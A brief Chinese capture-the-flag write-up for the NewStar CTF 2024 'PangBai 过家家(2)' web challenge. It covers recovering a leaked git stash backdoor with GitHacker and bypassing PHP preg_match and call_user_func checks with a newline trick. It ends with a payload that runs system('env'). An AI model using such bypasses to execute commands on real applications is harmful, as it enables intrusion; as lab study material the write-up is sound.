NewStar PangBai 过家家(2) wp

dirsearch扫描到git泄露,githack找半天没找到,本文参考官解,只做参考使用

PangBai 过家家(2) | WriteUp - NewStar CTF 2024

最后用了githacker

image-20241024141647736

image-20241024142718948

没有有用的东西,看看Stash

image-20241024142806419

找到后门

我们之前githack没找到有效信息的原因:

image-20241024142900247

Githacker的功能比较强大

Stash的作用:

有时会遇到这样的情况,我们正在 dev 分支开发新功能,做到一半时有人过来反馈一个 bug,让马上解决,但是又不方便和现在已经更改的内容混杂在一起,这时就可以使用 git stash 命令先把当前进度保存起来。随后便可以即时处理当前要处理的内容。使用 git stash pop 则可以将之前存储的内容重新恢复到工作区。又或者,我们已经在一个分支进行了修改,但发现自己修改错了分支,可以通过 Stash 进行存储,然后到其它分支中释放。

一些常见的 Stash 命令如:

  • git stash

    保存当前工作进度,会把暂存区和工作区的改动保存起来。执行完这个命令后,在运行 git status 命令,就会发现当前是一个干净的工作区,没有任何改动。使用 git stash save '一些信息' 可以添加一些注释。

  • git stash pop [-index] [stash_id]

    从 Stash 中释放内容,默认为恢复最新的内容到工作区。

image-20241024144127887

最重要的就是call_user_fuc和preg_match的绕过

call_user_fuc

[ctfshow web123(php get或post变量名中非法字符转化下划线) - hithub - 博客园](https://www.cnblogs.com/meng-han/p/16804708.html#:~:text=在 php 中变量名)

正则表达式中的^匹配的是开始,$匹配的的是结尾($除了匹配整个字符串的结尾,还能够匹配字符串最后一个换行符),如果是/D就表示严格匹配字符串,

preg_match('/^Welcome$/D', "Welcome\n")

%0a是换行符

可以参考这个进行绕过

payload:NewStar[CTF.2024=Welcome%0a

post :func=system&args=env